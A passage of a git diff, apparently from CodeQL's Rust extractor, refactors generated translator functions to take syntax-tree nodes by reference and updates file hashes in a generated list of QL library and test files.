node.ty().and_then(|x| self.emit_type(&x)); + let use_bound_generic_args = node + .use_bound_generic_args() + .and_then(|x| self.emit_use_bound_generic_args(&x)); let label = self.trap.emit(generated::TypeBound { id: TrapId::Star, is_async, @@ -2380,30 +2869,41 @@ impl Translator<'_> { type_repr, use_bound_generic_args, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(TypeBound, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_type_bound_list(&mut self, node: ast::TypeBoundList) -> Option> { - let bounds = node.bounds().filter_map(|x| self.emit_type_bound(x)).collect(); + pub(crate) fn emit_type_bound_list( + &mut self, + node: &ast::TypeBoundList, + ) -> Option> { + let bounds = node + .bounds() + .filter_map(|x| self.emit_type_bound(&x)) + .collect(); let label = self.trap.emit(generated::TypeBoundList { id: TrapId::Star, bounds, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(TypeBoundList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_type_param(&mut self, node: ast::TypeParam) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let default_type = node.default_type().and_then(|x| self.emit_type(x)); - let name = node.name().and_then(|x| self.emit_name(x)); - let type_bound_list = node.type_bound_list().and_then(|x| self.emit_type_bound_list(x)); + pub(crate) fn emit_type_param( + &mut self, + node: &ast::TypeParam, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let default_type = node.default_type().and_then(|x| self.emit_type(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let type_bound_list = node + .type_bound_list() + .and_then(|x| self.emit_type_bound_list(&x)); let label = self.trap.emit(generated::TypeParam { id: TrapId::Star, attrs, @@ -2411,33 +2911,42 @@ impl Translator<'_> { name, type_bound_list, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(TypeParam, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_underscore_expr(&mut self, node: ast::UnderscoreExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); + pub(crate) fn emit_underscore_expr( + &mut self, + node: &ast::UnderscoreExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let label = self.trap.emit(generated::UnderscoreExpr { id: TrapId::Star, attrs, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(UnderscoreExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); - Some(label) - } - - pub(crate) fn emit_union(&mut self, node: ast::Union) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); - let name = node.name().and_then(|x| self.emit_name(x)); - let struct_field_list = node.record_field_list().and_then(|x| self.emit_record_field_list(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); - let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(x)); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); + Some(label) + } + pub(crate) fn emit_union(&mut self, node: &ast::Union) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let struct_field_list = node + .record_field_list() + .and_then(|x| self.emit_record_field_list(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); + let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(&x)); let label = self.trap.emit(generated::Union { id: TrapId::Star, attrs, @@ -2447,46 +2956,56 @@ impl Translator<'_> { visibility, where_clause, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(Union, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_use(&mut self, node: ast::Use) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let use_tree = node.use_tree().and_then(|x| self.emit_use_tree(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); + pub(crate) fn emit_use(&mut self, node: &ast::Use) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let use_tree = node.use_tree().and_then(|x| self.emit_use_tree(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); let label = self.trap.emit(generated::Use { id: TrapId::Star, attrs, use_tree, visibility, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(Use, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_use_bound_generic_args(&mut self, node: ast::UseBoundGenericArgs) -> Option> { - let use_bound_generic_args = node.use_bound_generic_args().filter_map(|x| self.emit_use_bound_generic_arg(x)).collect(); + pub(crate) fn emit_use_bound_generic_args( + &mut self, + node: &ast::UseBoundGenericArgs, + ) -> Option> { + let use_bound_generic_args = node + .use_bound_generic_args() + .filter_map(|x| self.emit_use_bound_generic_arg(&x)) + .collect(); let label = self.trap.emit(generated::UseBoundGenericArgs { id: TrapId::Star, use_bound_generic_args, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(UseBoundGenericArgs, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_use_tree(&mut self, node: ast::UseTree) -> Option> { + pub(crate) fn emit_use_tree( + &mut self, + node: &ast::UseTree, + ) -> Option> { let is_glob = node.star_token().is_some(); - let path = node.path().and_then(|x| self.emit_path(x)); - let rename = node.rename().and_then(|x| self.emit_rename(x)); - let use_tree_list = node.use_tree_list().and_then(|x| self.emit_use_tree_list(x)); + let path = node.path().and_then(|x| self.emit_path(&x)); + let rename = node.rename().and_then(|x| self.emit_rename(&x)); + let use_tree_list = node + .use_tree_list() + .and_then(|x| self.emit_use_tree_list(&x)); let label = self.trap.emit(generated::UseTree { id: TrapId::Star, is_glob, @@ -2494,31 +3013,40 @@ impl Translator<'_> { rename, use_tree_list, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(UseTree, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_use_tree_list(&mut self, node: ast::UseTreeList) -> Option> { - let use_trees = node.use_trees().filter_map(|x| self.emit_use_tree(x)).collect(); + pub(crate) fn emit_use_tree_list( + &mut self, + node: &ast::UseTreeList, + ) -> Option> { + let use_trees = node + .use_trees() + .filter_map(|x| self.emit_use_tree(&x)) + .collect(); let label = self.trap.emit(generated::UseTreeList { id: TrapId::Star, use_trees, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(UseTreeList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_variant(&mut self, node: ast::Variant) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let discriminant = node.expr().and_then(|x| self.emit_expr(x)); - let field_list = node.field_list().and_then(|x| self.emit_field_list(x)); - let name = node.name().and_then(|x| self.emit_name(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); + pub(crate) fn emit_variant( + &mut self, + node: &ast::Variant, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let discriminant = node.expr().and_then(|x| self.emit_expr(&x)); + let field_list = node.field_list().and_then(|x| self.emit_field_list(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); let label = self.trap.emit(generated::Variant { id: TrapId::Star, attrs, @@ -2527,53 +3055,71 @@ impl Translator<'_> { name, visibility, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(Variant, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_variant_list(&mut self, node: ast::VariantList) -> Option> { - let variants = node.variants().filter_map(|x| self.emit_variant(x)).collect(); + pub(crate) fn emit_variant_list( + &mut self, + node: &ast::VariantList, + ) -> Option> { + let variants = node + .variants() + .filter_map(|x| self.emit_variant(&x)) + .collect(); let label = self.trap.emit(generated::VariantList { id: TrapId::Star, variants, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(VariantList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_visibility(&mut self, node: ast::Visibility) -> Option> { - let path = node.path().and_then(|x| self.emit_path(x)); + pub(crate) fn emit_visibility( + &mut self, + node: &ast::Visibility, + ) -> Option> { + let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::Visibility { id: TrapId::Star, path, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(Visibility, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_where_clause(&mut self, node: ast::WhereClause) -> Option> { - let predicates = node.predicates().filter_map(|x| self.emit_where_pred(x)).collect(); + pub(crate) fn emit_where_clause( + &mut self, + node: &ast::WhereClause, + ) -> Option> { + let predicates = node + .predicates() + .filter_map(|x| self.emit_where_pred(&x)) + .collect(); let label = self.trap.emit(generated::WhereClause { id: TrapId::Star, predicates, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(WhereClause, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); - Some(label) - } - - pub(crate) fn emit_where_pred(&mut self, node: ast::WherePred) -> Option> { - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); - let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); - let type_bound_list = node.type_bound_list().and_then(|x| self.emit_type_bound_list(x)); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); + Some(label) + } + pub(crate) fn emit_where_pred( + &mut self, + node: &ast::WherePred, + ) -> Option> { + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); + let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); + let type_bound_list = node + .type_bound_list() + .and_then(|x| self.emit_type_bound_list(&x)); let label = self.trap.emit(generated::WherePred { id: TrapId::Star, generic_param_list, @@ -2581,18 +3127,22 @@ impl Translator<'_> { type_repr, type_bound_list, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(WherePred, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_while_expr(&mut self, node: ast::WhileExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let condition = node.condition().and_then(|x| self.emit_expr(x)); - let label = node.label().and_then(|x| self.emit_label(x)); - let loop_body = node.loop_body().and_then(|x| self.emit_block_expr(x)); + pub(crate) fn emit_while_expr( + &mut self, + node: &ast::WhileExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let condition = node.condition().and_then(|x| self.emit_expr(&x)); + let label = node.label().and_then(|x| self.emit_label(&x)); + let loop_body = node.loop_body().and_then(|x| self.emit_block_expr(&x)); let label = self.trap.emit(generated::WhileExpr { id: TrapId::Star, attrs, @@ -2600,49 +3150,57 @@ impl Translator<'_> { label, loop_body, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(WhileExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_wildcard_pat(&mut self, node: ast::WildcardPat) -> Option> { - let label = self.trap.emit(generated::WildcardPat { - id: TrapId::Star, - }); - self.emit_location(label, &node); + pub(crate) fn emit_wildcard_pat( + &mut self, + node: &ast::WildcardPat, + ) -> Option> { + let label = self.trap.emit(generated::WildcardPat { id: TrapId::Star }); + self.emit_location(label, node); emit_detached!(WildcardPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_yeet_expr(&mut self, node: ast::YeetExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_yeet_expr( + &mut self, + node: &ast::YeetExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::YeetExpr { id: TrapId::Star, attrs, expr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(YeetExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_yield_expr(&mut self, node: ast::YieldExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_yield_expr( + &mut self, + node: &ast::YieldExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::YieldExpr { id: TrapId::Star, attrs, expr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(YieldExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } } diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index 0ff3e721e231..fd7c9c84bf63 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -1,4 +1,4 @@ -lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll d1cc3cfc9ae558b1cb473e3bfca66e5c424445b98ce343eb6f3050321fe4f8a0 8d00e385230b45360bc6281af01e0f674c58117593fd1b3cb7eb0c8a45517542 +lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll 9452207ba069c4174b9e2903614380c5fb09dccd46e612d6c68ed4305b26ac70 3dbc42e9091ea12456014425df347230471da3afd5e811136a9bc58ba6e5880a lib/codeql/rust/elements/Abi.qll 4c973d28b6d628f5959d1f1cc793704572fd0acaae9a97dfce82ff9d73f73476 250f68350180af080f904cd34cb2af481c5c688dc93edf7365fd0ae99855e893 lib/codeql/rust/elements/Addressable.qll 13011bfd2e1556694c3d440cc34af8527da4df49ad92b62f2939d3699ff2cea5 ddb25935f7553a1a384b1abe2e4b4fa90ab50b952dadec32fd867afcb054f4be lib/codeql/rust/elements/ArgList.qll 661f5100f5d3ef8351452d9058b663a2a5c720eea8cf11bedd628969741486a2 28e424aac01a90fb58cd6f9f83c7e4cf379eea39e636bc0ba07efc818be71c71 @@ -74,7 +74,7 @@ lib/codeql/rust/elements/Impl.qll 6407348d86e73cdb68e414f647260cb82cb90bd40860ba lib/codeql/rust/elements/ImplTraitTypeRepr.qll e2d5a3ade0a9eb7dcb7eec229a235581fe6f293d1cb66b1036f6917c01dff981 49367cada57d1873c9c9d2b752ee6191943a23724059b2674c2d7f85497cff97 lib/codeql/rust/elements/IndexExpr.qll 0e2e9f018d06ae72be0fc4ddbc019a9aacd8a06f42b4c4431760bd149e7f2290 2bcfd557abd53a48e48de7915c4f2089107c62dfb3e732a904848248dfd3727b lib/codeql/rust/elements/InferTypeRepr.qll 0a7b3e92512b2b167a8e04d650e12700dbbb8b646b10694056d622ba2501d299 e5e67b7c1124f430750f186da4642e646badcdcf66490dd328af3e64ac8da9e9 -lib/codeql/rust/elements/Item.qll 59353bf99dea5b464f45ed0dc5cef2db8208e92985d81dcd0b5ea09b638d10e4 2b0b87a4b1a1d9b512a67279d1dec2089d22d1df121585f7a9ca9661d689f74f +lib/codeql/rust/elements/Item.qll b1c41dcdd51fc94248abd52e838d9ca4d6f8c41f22f7bd1fa2e357b99d237b48 b05416c85d9f2ee67dbf25d2b900c270524b626f0b389fe0c9b90543fd05d8e1 lib/codeql/rust/elements/ItemList.qll c33e46a9ee45ccb194a0fe5b30a6ad3bcecb0f51486c94e0191a943710a17a7d 5a69c4e7712b4529681c4406d23dc1b6b9e5b3c03552688c55addab271912ed5 lib/codeql/rust/elements/Label.qll a31d41db351af7f99a55b26cdbbc7f13b4e96b660a74e2f1cc90c17ee8df8d73 689f87cb056c8a2aefe1a0bfc2486a32feb44eb3175803c61961a6aeee53d66e lib/codeql/rust/elements/LabelableExpr.qll 598be487cd051b004ab95cbbc3029100069dc9955851c492029d80f230e56f0d 92c49b3cfdaba07982f950e18a8d62dae4e96f5d9ae0d7d2f4292628361f0ddc @@ -89,7 +89,7 @@ lib/codeql/rust/elements/LiteralPat.qll daffb5f380a47543669c8cc92628b0e0de478c3a lib/codeql/rust/elements/Locatable.qll 2855efa4a469b54e0ca85daa89309a8b991cded6f3f10db361010831ba1e11d3 00c3406d14603f90abea11bf074eaf2c0b623a30e29cf6afc3a247cb58b92f0f lib/codeql/rust/elements/LoopExpr.qll ee171177650fa23eef102a9580765f4b6073a1cc41bab1ec31ad4f84ffe6c2c9 bfcf0cca4dc944270d9748a202829a38c64dfae167c0d3a4202788ceb9daf5f6 lib/codeql/rust/elements/LoopingExpr.qll 7ad7d4bbfd05adc0bb9b4ca90ff3377b8298121ca5360ffb45d5a7a1e20fe37a 964168b2045ee9bad827bba53f10a64d649b3513f2d1e3c17a1b1f11d0fc7f3a -lib/codeql/rust/elements/MacroCall.qll a39a11d387355f59af3007dcbab3282e2b9e3289c1f8f4c6b96154ddb802f8c3 88d4575e462af2aa780219ba1338a790547fdfc1d267c4b84f1b929f4bc08d05 +lib/codeql/rust/elements/MacroCall.qll 16933db15c6c0dbb717ef442f751ad8f63c444f36a12f8d56b8a05a3e5f71d1b ac05cbf50e4b06f39f58817cddbeac6f804c2d1e4f60956a960d63d495e7183d lib/codeql/rust/elements/MacroDef.qll acb39275a1a3257084314a46ad4d8477946130f57e401c70c5949ad6aafc5c5f 6a8a8db12a3ec345fede51ca36e8c6acbdce58c5144388bb94f0706416fa152a lib/codeql/rust/elements/MacroExpr.qll ea9fed13f610bab1a2c4541c994510e0cb806530b60beef0d0c36b23e3b620f0 ad11a6bbd3a229ad97a16049cc6b0f3c8740f9f75ea61bbf4eebb072db9b12d2 lib/codeql/rust/elements/MacroItems.qll 00a5d41f7bb836d952abbd9382e42f72a9d81e65646a15a460b35ccd07a866c6 00efdb4d701b5599d76096f740da9ec157804865267b7e29bc2a214cbf03763e @@ -536,7 +536,7 @@ lib/codeql/rust/elements/internal/generated/Impl.qll 863281820a933a86e6890e31a25 lib/codeql/rust/elements/internal/generated/ImplTraitTypeRepr.qll a1bbebe97a0421f02d2f2ee6c67c7d9107f897b9ba535ec2652bbd27c35d61df ba1f404a5d39cf560e322294194285302fe84074b173e049333fb7f4e5c8b278 lib/codeql/rust/elements/internal/generated/IndexExpr.qll cf951fc40f6690e966b4dc78fa9a6221aa5c6cade44759dcb52254f799292d11 1572e71918cc4e0b7e028331b6d98c9db23100a3646cd3874d1915e06ab6211d lib/codeql/rust/elements/internal/generated/InferTypeRepr.qll dab311562be68a2fcbbe29956b0c3fc66d58348658b734e59f7d080c820093ae ca099ecf9803d3c03b183e4ba19f998e24c881c86027b25037914884ce3de20e -lib/codeql/rust/elements/internal/generated/Item.qll 97f204f27c12689a01fef502a4eec3b587e4eaccd278ec07a34c70a33ce6119d 139af2d44f794d0f91d9aabc3d50d895107c34bd9bcb72457a2e243c14622e51 +lib/codeql/rust/elements/internal/generated/Item.qll 24f388cf0d9a47b38b6cfb93bbe92b9f0cbd0b05e9aa0e6adc1d8056b2cd2f57 66a14e6ff2190e8eebf879b02d0a9a38467e293d6be60685a08542ca1fc34803 lib/codeql/rust/elements/internal/generated/ItemList.qll 73c8398a96d4caa47a2dc114d76c657bd3fcc59e4c63cb397ffac4a85b8cf8ab 540a13ca68d414e3727c3d53c6b1cc97687994d572bc74b3df99ecc8b7d8e791 lib/codeql/rust/elements/internal/generated/Label.qll 6630fe16e9d2de6c759ff2684f5b9950bc8566a1525c835c131ebb26f3eea63e 671143775e811fd88ec90961837a6c0ee4db96e54f42efd80c5ae2571661f108 lib/codeql/rust/elements/internal/generated/LabelableExpr.qll 896fd165b438b60d7169e8f30fa2a94946490c4d284e1bbadfec4253b909ee6c 5c6b029ea0b22cf096df2b15fe6f9384ad3e65b50b253cae7f19a2e5ffb04a58 @@ -551,7 +551,7 @@ lib/codeql/rust/elements/internal/generated/LiteralPat.qll f36b09cf39330019c111e lib/codeql/rust/elements/internal/generated/Locatable.qll c897dc1bdd4dfcb6ded83a4a93332ca3d8f421bae02493ea2a0555023071775e b32d242f8c9480dc9b53c1e13a5cb8dcfce575b0373991c082c1db460a3e37b8 lib/codeql/rust/elements/internal/generated/LoopExpr.qll db6bc87e795c9852426ec661fa2c2c54106805897408b43a67f5b82fb4657afd 1492866ccf8213469be85bbdbcae0142f4e2a39df305d4c0d664229ecd1ebdb9 lib/codeql/rust/elements/internal/generated/LoopingExpr.qll 0792c38d84b8c68114da2bbdfef32ef803b696cb0fd06e10e101756d5c46976c 111fe961fad512722006323c3f2a075fddf59bd3eb5c7afc349835fcec8eb102 -lib/codeql/rust/elements/internal/generated/MacroCall.qll fc8988696493992cc4fdce8c0e5610c54ee92ea52ebb05262338f8b612353f50 188a2d7a484bd402a521787371e64f6e00e928306c8d437e6b19bf890a7aa14e +lib/codeql/rust/elements/internal/generated/MacroCall.qll 8b49d44e6aeac26dc2fc4b9ba03c482c65ebf0cba089d16f9d65e784e48ccbb0 9ecf6e278007adcbdc42ed1c10e7b1c0652b6c64738b780d256c9326afa3b393 lib/codeql/rust/elements/internal/generated/MacroDef.qll e9b3f07ba41aa12a8e0bd6ec1437b26a6c363065ce134b6d059478e96c2273a6 87470dea99da1a6afb3a19565291f9382e851ba864b50a995ac6f29589efbd70 lib/codeql/rust/elements/internal/generated/MacroExpr.qll 03a1daa41866f51e479ac20f51f8406d04e9946b24f3875e3cf75a6b172c3d35 1ae8ca0ee96bd2be32575d87c07cc999a6ff7770151b66c0e3406f9454153786 lib/codeql/rust/elements/internal/generated/MacroItems.qll 894890f61e118b3727d03ca813ae7220a15e45195f2d1d059cb1bba6802128c8 db3854b347f8782a3ec9f9a1439da822727b66f0bd33727383184ab65dbf29ac @@ -579,7 +579,7 @@ lib/codeql/rust/elements/internal/generated/ParamList.qll c808c9d84dd7800573832b lib/codeql/rust/elements/internal/generated/ParenExpr.qll bc0731505bfe88516205ec360582a4222d2681d11342c93e15258590ddee82f2 d4bd6e0c80cf1d63746c88d4bcb3a01d4c75732e5da09e3ebd9437ced227fb60 lib/codeql/rust/elements/internal/generated/ParenPat.qll 4f168ef5d5bb87a903251cc31b2e44a759b099ec69c90af31783fbb15778c940 0e34f94a45a13396fd57d94c245dc64d1adde2ab0e22b56946f7e94c04e297fc lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll 40ab5c592e7699c621787793743e33988de71ff42ca27599f5ab3ddb70e3f7d8 12c0a6eed2202ee3e892f61da3b3ce77ac3190854cdf3097e8d2be98aa3cb91d -lib/codeql/rust/elements/internal/generated/ParentChild.qll d1770632e8d0c649ebcbcab9cbc653531ecf521bbf5d891941db8c0927ae6796 fb40a76aff319ec5f7dae9a05da083b337887b0918b3702641b39342213ddf6f +lib/codeql/rust/elements/internal/generated/ParentChild.qll b9fe4919578ae4889e6993df712b685da3dc2d6559b2a2b34a466c604623feee 306fb39ad5d3877c8afcce14aa6be67ff099b334279bd0ce6b2012719a1e812a lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll c5fa328ea60d3a3333d7c7bb3480969c1873166c7ac8ebb9d0afad7a8099d1a8 2dbbb6200d96f7db7dea4a55bdeab8d67b14d39a43e0bd54ada019f7e466f163 lib/codeql/rust/elements/internal/generated/Pat.qll 3605ac062be2f294ee73336e9669027b8b655f4ad55660e1eab35266275154ee 7f9400db2884d336dd1d21df2a8093759c2a110be9bf6482ce8e80ae0fd74ed4 lib/codeql/rust/elements/internal/generated/Path.qll 9b12afb46fc5a9ad3a811b05472621bbecccb900c47504feb7f29d96b28421ca bcacbffc36fb3e0c9b26523b5963af0ffa9fd6b19f00a2a31bdb2316071546bd @@ -594,7 +594,7 @@ lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll 51d1e9e683fc79dddbff lib/codeql/rust/elements/internal/generated/PureSynthConstructors.qll e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f lib/codeql/rust/elements/internal/generated/RangeExpr.qll 23cca03bf43535f33b22a38894f70d669787be4e4f5b8fe5c8f7b964d30e9027 18624cef6c6b679eeace2a98737e472432e0ead354cca02192b4d45330f047c9 lib/codeql/rust/elements/internal/generated/RangePat.qll 80826a6a6868a803aa2372e31c52a03e1811a3f1f2abdb469f91ca0bfdd9ecb6 34ee1e208c1690cba505dff2c588837c0cd91e185e2a87d1fe673191962276a9 -lib/codeql/rust/elements/internal/generated/Raw.qll 6e33d9fa21ee3287a0ebc27856a09f4fdc4d587b5a31ff1c4337106de7ca1a2e eece38e6accb6b9d8838fd05edd7cbaf6f7ee37190adbef2b023ad91064d1622 +lib/codeql/rust/elements/internal/generated/Raw.qll 6cfbf74f0635ce379cce096cdfe70c33b74c7e3a35d2e3af2e93bc06d374efee 5b20172d0662bdbcca737e94ee6ceefc58503898b9584bef372720fea0be2671 lib/codeql/rust/elements/internal/generated/RefExpr.qll 7d995884e3dc1c25fc719f5d7253179344d63650e217e9ff6530285fe7a57f64 f2c3c12551deea4964b66553fb9b6423ee16fec53bd63db4796191aa60dc6c66 lib/codeql/rust/elements/internal/generated/RefPat.qll 456ede39837463ee22a630ec7ab6c8630d3664a8ea206fcc6e4f199e92fa564c 5622062765f32930465ba6b170e986706f159f6070f48adee3c20e24e8df4e05 lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll 3d8c0bd296d33b91a81633f697a43269a6538df06d277262d3990d3f6880ef57 13680f39e89bcd8299c218aba396f3deec804597e6f7cb7d4a7e7c748b6faa77 @@ -736,10 +736,11 @@ test/extractor-tests/generated/ClosureExpr/ClosureExpr_getClosureBinder.ql cbfcf test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParamList.ql 68ce501516094512dd5bfed42a785474583a91312f704087cba801b02ba7b834 eacbf89d63159e7decfd84c2a1dc5c067dfce56a8157fbb52bc133e9702d266d test/extractor-tests/generated/ClosureExpr/ClosureExpr_getRetType.ql c95bc7306b2d77aa05a6501b6321e6f1e7a48b7ad422ba082635ab20014288ae fe72d44c9819b42fff49b9092a9fb2bfafde6d3b9e4967547fb5298822f30bc3 test/extractor-tests/generated/Comment/Comment.ql 5428b8417a737f88f0d55d87de45c4693d81f03686f03da11dc5369e163d977b 8948c1860cde198d49cff7c74741f554a9e89f8af97bb94de80f3c62e1e29244 -test/extractor-tests/generated/Const/Const.ql ef2d2730e08ff6c9e5e8473f654e0b023296c51bc9acfbffd7d4cc5caeed7919 906f8624b10b3fade378d29e34af8537f86d9de16a22a188887ecfc165f5ded9 +test/extractor-tests/generated/Const/Const.ql ddce26b7dc205fe37651f4b289e62c76b08a2d9e8fdaf911ad22a8fdb2a18bc9 b7c7e3c13582b6424a0afd07588e24a258eff7eb3c8587cc11b20aa054d3c727 test/extractor-tests/generated/Const/Const_getAttr.ql bd6296dab00065db39663db8d09fe62146838875206ff9d8595d06d6439f5043 34cb55ca6d1f44e27d82a8b624f16f9408bae2485c85da94cc76327eed168577 test/extractor-tests/generated/Const/Const_getBody.ql f50f79b7f42bb1043b79ec96f999fa4740c8014e6969a25812d5d023d7a5a5d8 90e5060ba9757f1021429ed4ec4913bc78747f3fc415456ef7e7fc284b8a0026 test/extractor-tests/generated/Const/Const_getCrateOrigin.ql f042bf15f9bde6c62d129601806c79951a2a131b6388e8df24b1dc5d17fe89f7 